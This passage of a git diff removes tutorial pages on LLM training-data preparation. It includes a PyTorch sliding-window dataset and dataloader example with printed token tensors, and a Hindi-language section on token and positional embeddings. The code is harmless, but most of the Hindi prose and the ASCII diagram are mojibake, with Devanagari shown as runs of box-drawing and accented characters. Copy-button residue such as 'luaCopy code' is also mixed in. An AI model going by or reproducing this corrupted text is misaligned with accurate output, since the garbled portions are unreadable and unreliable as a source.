\["Lorem", "ipsum", "dolor", "sit"] тЖТ **Target:** \["ipsum", "dolor", "sit", "amet,"] -- **Second Window (Positions 3-6):** \["dolor", "sit", "amet,", "consectetur"] тЖТ **Target:** \["sit", "amet,", "consectetur", "adipiscing"] -- **Third Window (Positions 5-8):** \["amet,", "consectetur", "adipiscing", "elit."] тЖТ **Target:** \["consectetur", "adipiscing", "elit.", "sed"] _(Assuming continuation)_ - -## Code Example - -Let's understand this better from a code example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb): - -```python -# Download the text to pre-train the LLM -import urllib.request -url = ("https://raw.githubusercontent.com/rasbt/LLMs-from-scratch/main/ch02/01_main-chapter-code/the-verdict.txt") -file_path = "the-verdict.txt" -urllib.request.urlretrieve(url, file_path) - -with open("the-verdict.txt", "r", encoding="utf-8") as f: - raw_text = f.read() - -""" -Create a class that will receive some params lie tokenizer and text -and will prepare the input chunks and the target chunks to prepare -the LLM to learn which next token to generate -""" -import torch -from torch.utils.data import Dataset, DataLoader - -class GPTDatasetV1(Dataset): - def __init__(self, txt, tokenizer, max_length, stride): - self.input_ids = [] - self.target_ids = [] - - # Tokenize the entire text - token_ids = tokenizer.encode(txt, allowed_special={"<|endoftext|>"}) - - # Use a sliding window to chunk the book into overlapping sequences of max_length - for i in range(0, len(token_ids) - max_length, stride): - input_chunk = token_ids[i:i + max_length] - target_chunk = token_ids[i + 1: i + max_length + 1] - self.input_ids.append(torch.tensor(input_chunk)) - self.target_ids.append(torch.tensor(target_chunk)) - - def __len__(self): - return len(self.input_ids) - - def __getitem__(self, idx): - return self.input_ids[idx], self.target_ids[idx] - - -""" -Create a data loader which given the text and some params will -prepare the inputs and targets with the previous class and -then create a torch DataLoader with the info -""" - -import tiktoken - -def create_dataloader_v1(txt, batch_size=4, max_length=256, - stride=128, shuffle=True, drop_last=True, - num_workers=0): - - # Initialize the tokenizer - tokenizer = tiktoken.get_encoding("gpt2") - - # Create dataset - dataset = GPTDatasetV1(txt, tokenizer, max_length, stride) - - # Create dataloader - dataloader = DataLoader( - dataset, - batch_size=batch_size, - shuffle=shuffle, - drop_last=drop_last, - num_workers=num_workers - ) - - return dataloader - - -""" -Finally, create the data loader with the params we want: -- The used text for training -- batch_size: The size of each batch -- max_length: The size of each entry on each batch -- stride: The sliding window (how many tokens should the next entry advance compared to the previous one). The smaller the more overfitting, usually this is equals to the max_length so the same tokens aren't repeated. -- shuffle: Re-order randomly -""" -dataloader = create_dataloader_v1( - raw_text, batch_size=8, max_length=4, stride=1, shuffle=False -) - -data_iter = iter(dataloader) -first_batch = next(data_iter) -print(first_batch) - -# Note the batch_size of 8, the max_length of 4 and the stride of 1 -[ -# Input -tensor([[ 40, 367, 2885, 1464], - [ 367, 2885, 1464, 1807], - [ 2885, 1464, 1807, 3619], - [ 1464, 1807, 3619, 402], - [ 1807, 3619, 402, 271], - [ 3619, 402, 271, 10899], - [ 402, 271, 10899, 2138], - [ 271, 10899, 2138, 257]]), -# Target -tensor([[ 367, 2885, 1464, 1807], - [ 2885, 1464, 1807, 3619], - [ 1464, 1807, 3619, 402], - [ 1807, 3619, 402, 271], - [ 3619, 402, 271, 10899], - [ 402, 271, 10899, 2138], - [ 271, 10899, 2138, 257], - [10899, 2138, 257, 7026]]) -] - -# With stride=4 this will be the result: -[ -# Input -tensor([[ 40, 367, 2885, 1464], - [ 1807, 3619, 402, 271], - [10899, 2138, 257, 7026], - [15632, 438, 2016, 257], - [ 922, 5891, 1576, 438], - [ 568, 340, 373, 645], - [ 1049, 5975, 284, 502], - [ 284, 3285, 326, 11]]), -# Target -tensor([[ 367, 2885, 1464, 1807], - [ 3619, 402, 271, 10899], - [ 2138, 257, 7026, 15632], - [ 438, 2016, 257, 922], - [ 5891, 1576, 438, 568], - [ 340, 373, 645, 1049], - [ 5975, 284, 502, 284], - [ 3285, 326, 11, 287]]) -] -``` - -## References - -- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) - diff --git a/src/todo/llm-training-data-preparation/3.-token-embeddings.md b/src/todo/llm-training-data-preparation/3.-token-embeddings.md deleted file mode 100644 index 27da90eb7..000000000 --- a/src/todo/llm-training-data-preparation/3.-token-embeddings.md +++ /dev/null @@ -1,203 +0,0 @@ -# 3. рдЯреЛрдХрди рдПрдореНрдмреЗрдбрд┐рдВрдЧреНрд╕ - -## рдЯреЛрдХрди рдПрдореНрдмреЗрдбрд┐рдВрдЧреНрд╕ - -рдЯреЗрдХреНрд╕реНрдЯ рдбреЗрдЯрд╛ рдХреЛ рдЯреЛрдХрдирд╛рдЗрдЬрд╝ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдмрдбрд╝реЗ рднрд╛рд╖рд╛ рдореЙрдбрд▓ (LLMs) рдЬреИрд╕реЗ GPT рдХреЗ рд▓рд┐рдП рдбреЗрдЯрд╛ рддреИрдпрд╛рд░ рдХрд░рдиреЗ рдореЗрдВ рдЕрдЧрд▓рд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдХрджрдо **рдЯреЛрдХрди рдПрдореНрдмреЗрдбрд┐рдВрдЧреНрд╕** рдмрдирд╛рдирд╛ рд╣реИред рдЯреЛрдХрди рдПрдореНрдмреЗрдбрд┐рдВрдЧреНрд╕ рдбрд┐рд╕реНрдХреНрд░реАрдЯ рдЯреЛрдХрдиреЛрдВ (рдЬреИрд╕реЗ рд╢рдмреНрджреЛрдВ рдпрд╛ рдЙрдкрд╢рдмреНрджреЛрдВ) рдХреЛ рдирд┐рд░рдВрддрд░ рд╕рдВрдЦреНрдпрд╛рддреНрдордХ рд╡реЗрдХреНрдЯрд░ рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░рддреЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдореЙрдбрд▓ рдкреНрд░реЛрд╕реЗрд╕ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЙрдирд╕реЗ рд╕реАрдЦ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рд╡реНрдпрд╛рдЦреНрдпрд╛ рдЯреЛрдХрди рдПрдореНрдмреЗрдбрд┐рдВрдЧреНрд╕, рдЙрдирдХреЗ рдкреНрд░рд╛рд░рдВрднрд┐рдХрдХрд░рдг, рдЙрдкрдпреЛрдЧ рдФрд░ рдЯреЛрдХрди рдЕрдиреБрдХреНрд░рдореЛрдВ рдХреА рд╕рдордЭ рдХреЛ рдмрдврд╝рд╛рдиреЗ рдореЗрдВ рд╕реНрдерд┐рддрд┐ рдПрдореНрдмреЗрдбрд┐рдВрдЧреНрд╕ рдХреА рднреВрдорд┐рдХрд╛ рдХреЛ рддреЛрдбрд╝рддреА рд╣реИред - -> [!TIP] -> рдЗрд╕ рддреАрд╕рд░реЗ рдЪрд░рдг рдХрд╛ рд▓рдХреНрд╖реНрдп рдмрд╣реБрдд рд╕рд░рд▓ рд╣реИ: **рд╢рдмреНрджрдХреЛрд╢ рдореЗрдВ рдкрд┐рдЫрд▓реЗ рдкреНрд░рддреНрдпреЗрдХ рдЯреЛрдХрди рдХреЛ рдореЙрдбрд▓ рдХреЛ рдкреНрд░рд╢рд┐рдХреНрд╖рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрдЪреНрдЫрд┐рдд рдЖрдпрд╛рдореЛрдВ рдХрд╛ рдПрдХ рд╡реЗрдХреНрдЯрд░ рдЕрд╕рд╛рдЗрди рдХрд░реЗрдВред** рд╢рдмреНрджрдХреЛрд╢ рдореЗрдВ рдкреНрд░рддреНрдпреЗрдХ рд╢рдмреНрдж X рдЖрдпрд╛рдореЛрдВ рдХреЗ рдПрдХ рд╕реНрдерд╛рди рдореЗрдВ рдПрдХ рдмрд┐рдВрджреБ рд╣реЛрдЧрд╛ред\ -> рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдкреНрд░рд╛рд░рдВрдн рдореЗрдВ рдкреНрд░рддреНрдпреЗрдХ рд╢рдмреНрдж рдХреА рд╕реНрдерд┐рддрд┐ "рдпрд╛рджреГрдЪреНрдЫрд┐рдХ" рд░реВрдк рд╕реЗ рдкреНрд░рд╛рд░рдВрдн рдХреА рдЬрд╛рддреА рд╣реИ рдФрд░ рдпреЗ рд╕реНрдерд┐рддрд┐рдпрд╛рдБ рдкреНрд░рд╢рд┐рдХреНрд╖рд┐рдд рдХрд░рдиреЗ рдпреЛрдЧреНрдп рдкреИрд░рд╛рдореАрдЯрд░ рд╣реИрдВ (рдкреНрд░рд╢рд┐рдХреНрд╖рдг рдХреЗ рджреМрд░рд╛рди рд╕реБрдзрд╛рд░рд┐рдд рд╣реЛрдВрдЧреА)ред -> -> рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЯреЛрдХрди рдПрдореНрдмреЗрдбрд┐рдВрдЧ рдХреЗ рджреМрд░рд╛рди **рдПрдХ рдФрд░ рдПрдореНрдмреЗрдбрд┐рдВрдЧреНрд╕ рдХреА рдкрд░рдд рдмрдирд╛рдИ рдЬрд╛рддреА рд╣реИ** рдЬреЛ (рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ) **рдкреНрд░рд╢рд┐рдХреНрд╖рдг рд╡рд╛рдХреНрдп рдореЗрдВ рд╢рдмреНрдж рдХреА рдирд┐рд░рдкреЗрдХреНрд╖ рд╕реНрдерд┐рддрд┐** рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддреА рд╣реИред рдЗрд╕ рддрд░рд╣ рд╡рд╛рдХреНрдп рдореЗрдВ рд╡рд┐рднрд┐рдиреНрди рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдореЗрдВ рдПрдХ рд╢рдмреНрдж рдХрд╛ рдЕрд▓рдЧ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ (рдЕрд░реНрде) рд╣реЛрдЧрд╛ред - -### **рдЯреЛрдХрди рдПрдореНрдмреЗрдбрд┐рдВрдЧреНрд╕ рдХреНрдпрд╛ рд╣реИрдВ?** - -**рдЯреЛрдХрди рдПрдореНрдмреЗрдбрд┐рдВрдЧреНрд╕** рдирд┐рд░рдВрддрд░ рд╡реЗрдХреНрдЯрд░ рд╕реНрдкреЗрд╕ рдореЗрдВ рдЯреЛрдХрдиреЛрдВ рдХреЗ рд╕рдВрдЦреНрдпрд╛рддреНрдордХ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рд╣реИрдВред рд╢рдмреНрджрдХреЛрд╢ рдореЗрдВ рдкреНрд░рддреНрдпреЗрдХ рдЯреЛрдХрди рдПрдХ рдЕрджреНрд╡рд┐рддреАрдп рдирд┐рд╢реНрдЪрд┐рдд рдЖрдпрд╛рдореЛрдВ рдХреЗ рд╡реЗрдХреНрдЯрд░ рд╕реЗ рдЬреБрдбрд╝рд╛ рд╣реЛрддрд╛ рд╣реИред рдпреЗ рд╡реЗрдХреНрдЯрд░ рдЯреЛрдХрдиреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрд░реНрде рдФрд░ рд╡реНрдпрд╛рдХрд░рдгрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рдХреИрдкреНрдЪрд░ рдХрд░рддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рдореЙрдбрд▓ рдбреЗрдЯрд╛ рдореЗрдВ рд╕рдВрдмрдВрдзреЛрдВ рдФрд░ рдкреИрдЯрд░реНрдиреЛрдВ рдХреЛ рд╕рдордЭрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрддрд╛ рд╣реИред - -- **рд╢рдмреНрджрдХреЛрд╢ рдХрд╛ рдЖрдХрд╛рд░:** рдореЙрдбрд▓ рдХреЗ рд╢рдмреНрджрдХреЛрд╢ рдореЗрдВ рдЕрджреНрд╡рд┐рддреАрдп рдЯреЛрдХрдиреЛрдВ рдХреА рдХреБрд▓ рд╕рдВрдЦреНрдпрд╛ (рдЬреИрд╕реЗ, рд╢рдмреНрдж, рдЙрдкрд╢рдмреНрдж)ред -- **рдПрдореНрдмреЗрдбрд┐рдВрдЧ рдЖрдпрд╛рдо:** рдкреНрд░рддреНрдпреЗрдХ рдЯреЛрдХрди рдХреЗ рд╡реЗрдХреНрдЯрд░ рдореЗрдВ рд╕рдВрдЦреНрдпрд╛рддреНрдордХ рдорд╛рдиреЛрдВ (рдЖрдпрд╛рдореЛрдВ) рдХреА рд╕рдВрдЦреНрдпрд╛ред рдЙрдЪреНрдЪ рдЖрдпрд╛рдо рдЕрдзрд┐рдХ рд╕реВрдХреНрд╖реНрдо рдЬрд╛рдирдХрд╛рд░реА рдХреИрдкреНрдЪрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рд▓реЗрдХрд┐рди рдЕрдзрд┐рдХ рдЧрдгрдирд╛рддреНрдордХ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред - -**рдЙрджрд╛рд╣рд░рдг:** - -- **рд╢рдмреНрджрдХреЛрд╢ рдХрд╛ рдЖрдХрд╛рд░:** 6 рдЯреЛрдХрди \[1, 2, 3, 4, 5, 6] -- **рдПрдореНрдмреЗрдбрд┐рдВрдЧ рдЖрдпрд╛рдо:** 3 (x, y, z) - -### **рдЯреЛрдХрди рдПрдореНрдмреЗрдбрд┐рдВрдЧреНрд╕ рдХрд╛ рдкреНрд░рд╛рд░рдВрднрд┐рдХрдХрд░рдг** - -рдкреНрд░рд╢рд┐рдХреНрд╖рдг рдХреА рд╢реБрд░реБрдЖрдд рдореЗрдВ, рдЯреЛрдХрди рдПрдореНрдмреЗрдбрд┐рдВрдЧреНрд╕ рдХреЛ рдЖрдорддреМрд░ рдкрд░ рдЫреЛрдЯреЗ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рдорд╛рдиреЛрдВ рдХреЗ рд╕рд╛рде рдкреНрд░рд╛рд░рдВрдн рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрди рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдорд╛рдиреЛрдВ рдХреЛ рдкреНрд░рд╢рд┐рдХреНрд╖рдг рдбреЗрдЯрд╛ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдЯреЛрдХрдиреЛрдВ рдХреЗ рдЕрд░реНрдереЛрдВ рдХрд╛ рдмреЗрд╣рддрд░ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░рд╢рд┐рдХреНрд╖рдг рдХреЗ рджреМрд░рд╛рди рд╕рдорд╛рдпреЛрдЬрд┐рдд (рдлрд╛рдЗрди-рдЯреНрдпреВрди) рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред - -**PyTorch рдЙрджрд╛рд╣рд░рдг:** -```python -import torch - -# Set a random seed for reproducibility -torch.manual_seed(123) - -# Create an embedding layer with 6 tokens and 3 dimensions -embedding_layer = torch.nn.Embedding(6, 3) - -# Display the initial weights (embeddings) -print(embedding_layer.weight) -``` -**рдЖрдЙрдЯрдкреБрдЯ:** -```lua -luaCopy codeParameter containing: -tensor([[ 0.3374, -0.1778, -0.1690], -[ 0.9178, 1.5810, 1.3010], -[ 1.2753, -0.2010, -0.1606], -[-0.4015, 0.9666, -1.1481], -[-1.1589, 0.3255, -0.6315], -[-2.8400, -0.7849, -1.4096]], requires_grad=True) -``` -**рд╡реНрдпрд╛рдЦреНрдпрд╛:** - -- рдкреНрд░рддреНрдпреЗрдХ рдкрдВрдХреНрддрд┐ рд╢рдмреНрджрд╛рд╡рд▓реА рдореЗрдВ рдПрдХ рдЯреЛрдХрди рдХреЗ рдЕрдиреБрд░реВрдк рд╣реЛрддреА рд╣реИред -- рдкреНрд░рддреНрдпреЗрдХ рдХреЙрд▓рдо рдПрдореНрдмреЗрдбрд┐рдВрдЧ рд╡реЗрдХреНрдЯрд░ рдореЗрдВ рдПрдХ рдЖрдпрд╛рдо рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддрд╛ рд╣реИред -- рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЕрдиреБрдХреНрд░рдорд╛рдВрдХ `3` рдкрд░ рдЯреЛрдХрди рдХрд╛ рдПрдореНрдмреЗрдбрд┐рдВрдЧ рд╡реЗрдХреНрдЯрд░ `[-0.4015, 0.9666, -1.1481]` рд╣реИред - -**рдПрдХ рдЯреЛрдХрди рдХреЗ рдПрдореНрдмреЗрдбрд┐рдВрдЧ рддрдХ рдкрд╣реБрдБрдЪрдирд╛:** -```python -# Retrieve the embedding for the token at index 3 -token_index = torch.tensor([3]) -print(embedding_layer(token_index)) -``` -**рдЖрдЙрдЯрдкреБрдЯ:** -```lua -tensor([[-0.4015, 0.9666, -1.1481]], grad_fn=) -``` -**рд╡реНрдпрд╛рдЦреНрдпрд╛:** - -- рдЕрдиреБрдХреНрд░рдорд╛рдВрдХ `3` рдкрд░ рдЯреЛрдХрди рдХреЛ рд╡реЗрдХреНрдЯрд░ `[-0.4015, 0.9666, -1.1481]` рджреНрд╡рд╛рд░рд╛ рджрд░реНрд╢рд╛рдпрд╛ рдЧрдпрд╛ рд╣реИред -- рдпреЗ рдорд╛рди рдкреНрд░рд╢рд┐рдХреНрд╖рд┐рдд рдХрд░рдиреЗ рдпреЛрдЧреНрдп рдкреИрд░рд╛рдореАрдЯрд░ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдореЙрдбрд▓ рдкреНрд░рд╢рд┐рдХреНрд╖рдг рдХреЗ рджреМрд░рд╛рди рдЯреЛрдХрди рдХреЗ рд╕рдВрджрд░реНрдн рдФрд░ рдЕрд░реНрде рдХреЛ рдмреЗрд╣рддрд░ рдврдВрдЧ рд╕реЗ рджрд░реНрд╢рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдорд╛рдпреЛрдЬрд┐рдд рдХрд░реЗрдЧрд╛ред - -### **рдкреНрд░рд╢рд┐рдХреНрд╖рдг рдХреЗ рджреМрд░рд╛рди рдЯреЛрдХрди рдПрдореНрдмреЗрдбрд┐рдВрдЧ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддреА рд╣реИрдВ** - -рдкреНрд░рд╢рд┐рдХреНрд╖рдг рдХреЗ рджреМрд░рд╛рди, рдЗрдирдкреБрдЯ рдбреЗрдЯрд╛ рдореЗрдВ рдкреНрд░рддреНрдпреЗрдХ рдЯреЛрдХрди рдХреЛ рдЗрд╕рдХреЗ рд╕рдВрдмрдВрдзрд┐рдд рдПрдореНрдмреЗрдбрд┐рдВрдЧ рд╡реЗрдХреНрдЯрд░ рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрди рд╡реЗрдХреНрдЯрд░реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдореЙрдбрд▓ рдХреЗ рднреАрддрд░ рд╡рд┐рднрд┐рдиреНрди рдЧрдгрдирд╛рдУрдВ рдореЗрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреИрд╕реЗ рдзреНрдпрд╛рди рддрдВрддреНрд░ рдФрд░ рдиреНрдпреВрд░рд▓ рдиреЗрдЯрд╡рд░реНрдХ рдкрд░рддреЗрдВред - -**рдЙрджрд╛рд╣рд░рдг рдкрд░рд┐рджреГрд╢реНрдп:** - -- **рдмреИрдЪ рдЖрдХрд╛рд░:** 8 (рдПрдХ рд╕рд╛рде рд╕рдВрд╕рд╛рдзрд┐рдд рдирдореВрдиреЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛) -- **рдЕрдзрд┐рдХрддрдо рдЕрдиреБрдХреНрд░рдо рд▓рдВрдмрд╛рдИ:** 4 (рдкреНрд░рддрд┐ рдирдореВрдирд╛ рдЯреЛрдХрдиреЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛) -- **рдПрдореНрдмреЗрдбрд┐рдВрдЧ рдЖрдпрд╛рдо:** 256 - -**рдбреЗрдЯрд╛ рд╕рдВрд░рдЪрдирд╛:** - -- рдкреНрд░рддреНрдпреЗрдХ рдмреИрдЪ рдХреЛ рдЖрдХрд╛рд░ `(batch_size, max_length, embedding_dim)` рдХреЗ рд╕рд╛рде 3D рдЯреЗрдиреНрд╕рд░ рдХреЗ рд░реВрдк рдореЗрдВ рджрд░реНрд╢рд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред -- рд╣рдорд╛рд░реЗ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЖрдХрд╛рд░ `(8, 4, 256)` рд╣реЛрдЧрд╛ред - -**рджреГрд╢реНрдпрддрд╛:** -```css -cssCopy codeBatch -тФМтФАтФАтФАтФАтФАтФАтФАтФАтФАтФАтФАтФАтФАтФР -тФВ Sample 1 тФВ -тФВ тФМтФАтФАтФАтФАтФАтФР тФВ -тФВ тФВTokenтФВ тЖТ [xтВБтВБ, xтВБтВВ, ..., xтВБтВВтВЕтВЖ] -тФВ тФВ 1 тФВ тФВ -тФВ тФВ... тФВ тФВ -тФВ тФВTokenтФВ тФВ -тФВ тФВ 4 тФВ тФВ -тФВ тФФтФАтФАтФАтФАтФАтФШ тФВ -тФВ Sample 2 тФВ -тФВ тФМтФАтФАтФАтФАтФАтФР тФВ -тФВ тФВTokenтФВ тЖТ [xтВВтВБ, xтВВтВВ, ..., xтВВтВВтВЕтВЖ] -тФВ тФВ 1 тФВ тФВ -тФВ тФВ... тФВ тФВ -тФВ тФВTokenтФВ тФВ -тФВ тФВ 4 тФВ тФВ -тФВ тФФтФАтФАтФАтФАтФАтФШ тФВ -тФВ ... тФВ -тФВ Sample 8 тФВ -тФВ тФМтФАтФАтФАтФАтФАтФР тФВ -тФВ тФВTokenтФВ тЖТ [xтВИтВБ, xтВИтВВ, ..., xтВИтВВтВЕтВЖ] -тФВ тФВ 1 тФВ тФВ -тФВ тФВ... тФВ тФВ -тФВ тФВTokenтФВ тФВ -тФВ тФВ 4 тФВ тФВ -тФВ тФФтФАтФАтФАтФАтФАтФШ тФВ -тФФтФАтФАтФАтФАтФАтФАтФАтФАтФАтФАтФАтФАтФАтФШ -``` -**рд╡реНрдпрд╛рдЦреНрдпрд╛:** - -- рдЕрдиреБрдХреНрд░рдо рдореЗрдВ рдкреНрд░рддреНрдпреЗрдХ рдЯреЛрдХрди рдХреЛ 256-рдЖрдпрд╛рдореА рд╡реЗрдХреНрдЯрд░ рджреНрд╡рд╛рд░рд╛ рджрд░реНрд╢рд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред -- рдореЙрдбрд▓ рдЗрди рдПрдореНрдмреЗрдбрд┐рдВрдЧреНрд╕ рдХреЛ рднрд╛рд╖рд╛ рдкреИрдЯрд░реНрди рд╕реАрдЦрдиреЗ рдФрд░ рднрд╡рд┐рд╖реНрдпрд╡рд╛рдгрд┐рдпрд╛рдБ рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рддрд╛ рд╣реИред - -## **рдкреЛрдЬрд┐рд╢рдирд▓ рдПрдореНрдмреЗрдбрд┐рдВрдЧреНрд╕: рдЯреЛрдХрди рдПрдореНрдмреЗрдбрд┐рдВрдЧреНрд╕ рдореЗрдВ рд╕рдВрджрд░реНрдн рдЬреЛрдбрд╝рдирд╛** - -рдЬрдмрдХрд┐ рдЯреЛрдХрди рдПрдореНрдмреЗрдбрд┐рдВрдЧреНрд╕ рд╡реНрдпрдХреНрддрд┐рдЧрдд рдЯреЛрдХрдиреЛрдВ рдХреЗ рдЕрд░реНрде рдХреЛ рдХреИрдкреНрдЪрд░ рдХрд░рддреА рд╣реИрдВ, рд╡реЗ рдЕрдиреБрдХреНрд░рдо рдореЗрдВ рдЯреЛрдХрдиреЛрдВ рдХреА рд╕реНрдерд┐рддрд┐ рдХреЛ рд╕реНрд╡рд╛рднрд╛рд╡рд┐рдХ рд░реВрдк рд╕реЗ рдПрдиреНрдХреЛрдб рдирд╣реАрдВ рдХрд░рддреА рд╣реИрдВред рдЯреЛрдХрдиреЛрдВ рдХреЗ рдХреНрд░рдо рдХреЛ рд╕рдордЭрдирд╛ рднрд╛рд╖рд╛ рдХреА рд╕рдордЭ рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред рдпрд╣реАрдВ рдкрд░ **рдкреЛрдЬрд┐рд╢рдирд▓ рдПрдореНрдмреЗрдбрд┐рдВрдЧреНрд╕** рдХрд╛ рдорд╣рддреНрд╡ рд╣реИред - -### **рдкреЛрдЬрд┐рд╢рдирд▓ рдПрдореНрдмреЗрдбрд┐рдВрдЧреНрд╕ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреНрдпреЛрдВ рд╣реИ:** - -- **рдЯреЛрдХрди рдХрд╛ рдХреНрд░рдо рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ:** рд╡рд╛рдХреНрдпреЛрдВ рдореЗрдВ, рдЕрд░реНрде рдЕрдХреНрд╕рд░ рд╢рдмреНрджреЛрдВ рдХреЗ рдХреНрд░рдо рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, "рдмрд┐рд▓реНрд▓реА рдЪрдЯрд╛рдИ рдкрд░ рдмреИрдареА" рдмрдирд╛рдо "рдЪрдЯрд╛рдИ рдмрд┐рд▓реНрд▓реА рдкрд░ рдмреИрдареАред" -- **рдПрдореНрдмреЗрдбрд┐рдВрдЧ рдХреА рд╕реАрдорд╛:** рдкреЛрдЬрд┐рд╢рдирд▓ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рдмрд┐рдирд╛, рдореЙрдбрд▓ рдЯреЛрдХрдиреЛрдВ рдХреЛ "рд╢рдмреНрджреЛрдВ рдХрд╛ рдереИрд▓рд╛" рдорд╛рдирддрд╛ рд╣реИ, рдЙрдирдХреЗ рдЕрдиреБрдХреНрд░рдо рдХреА рдЕрдирджреЗрдЦреА рдХрд░рддрд╛ рд╣реИред - -### **рдкреЛрдЬрд┐рд╢рдирд▓ рдПрдореНрдмреЗрдбрд┐рдВрдЧреНрд╕ рдХреЗ рдкреНрд░рдХрд╛рд░:** - -1. **рдПрдмреНрд╕реЛрд▓реНрдпреВрдЯ рдкреЛрдЬрд┐рд╢рдирд▓ рдПрдореНрдмреЗрдбрд┐рдВрдЧреНрд╕:** -- рдЕрдиреБрдХреНрд░рдо рдореЗрдВ рдкреНрд░рддреНрдпреЗрдХ рд╕реНрдерд┐рддрд┐ рдХреЛ рдПрдХ рдЕрджреНрд╡рд┐рддреАрдп рд╕реНрдерд┐рддрд┐ рд╡реЗрдХреНрдЯрд░ рд╕реМрдВрдкреЗрдВред -- **рдЙрджрд╛рд╣рд░рдг:** рдХрд┐рд╕реА рднреА рдЕрдиреБрдХреНрд░рдо рдореЗрдВ рдкрд╣рд▓рд╛ рдЯреЛрдХрди рд╕рдорд╛рди рдкреЛрдЬрд┐рд╢рдирд▓ рдПрдореНрдмреЗрдбрд┐рдВрдЧ рд░рдЦрддрд╛ рд╣реИ, рджреВрд╕рд░рд╛ рдЯреЛрдХрди рдПрдХ рдФрд░ рд░рдЦрддрд╛ рд╣реИ, рдФрд░ рдЗрд╕реА рддрд░рд╣ред -- **рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛:** OpenAI рдХреЗ GPT рдореЙрдбрд▓ред -2. **рд░рд┐рд▓реЗрдЯрд┐рд╡ рдкреЛрдЬрд┐рд╢рдирд▓ рдПрдореНрдмреЗрдбрд┐рдВрдЧреНрд╕:** -- рдЯреЛрдХрдиреЛрдВ рдХреЗ рд╕рд╛рдкреЗрдХреНрд╖ рджреВрд░реА рдХреЛ рдПрдиреНрдХреЛрдб рдХрд░реЗрдВ рди рдХрд┐ рдЙрдирдХреЗ рдПрдмреНрд╕реЛрд▓реНрдпреВрдЯ рдкреЛрдЬрд┐рд╢рди рдХреЛред -- **рдЙрджрд╛рд╣рд░рдг:** рдпрд╣ рдЗрдВрдЧрд┐рдд рдХрд░реЗрдВ рдХрд┐ рджреЛ рдЯреЛрдХрди рдХрд┐рддрдиреЗ рджреВрд░ рд╣реИрдВ, рдЪрд╛рд╣реЗ рдЙрдирдХреЗ рдПрдмреНрд╕реЛрд▓реНрдпреВрдЯ рдкреЛрдЬрд┐рд╢рди рдЕрдиреБрдХреНрд░рдо рдореЗрдВ рдХреНрдпрд╛ рд╣реЛрдВред -- **рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛:** Transformer-XL рдЬреИрд╕реЗ рдореЙрдбрд▓ рдФрд░ BERT рдХреЗ рдХреБрдЫ рд░реВрдкред - -### **рдкреЛрдЬрд┐рд╢рдирд▓ рдПрдореНрдмреЗрдбрд┐рдВрдЧреНрд╕ рдХреЛ рдХреИрд╕реЗ рдПрдХреАрдХреГрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:** - -- **рд╕рдорд╛рди 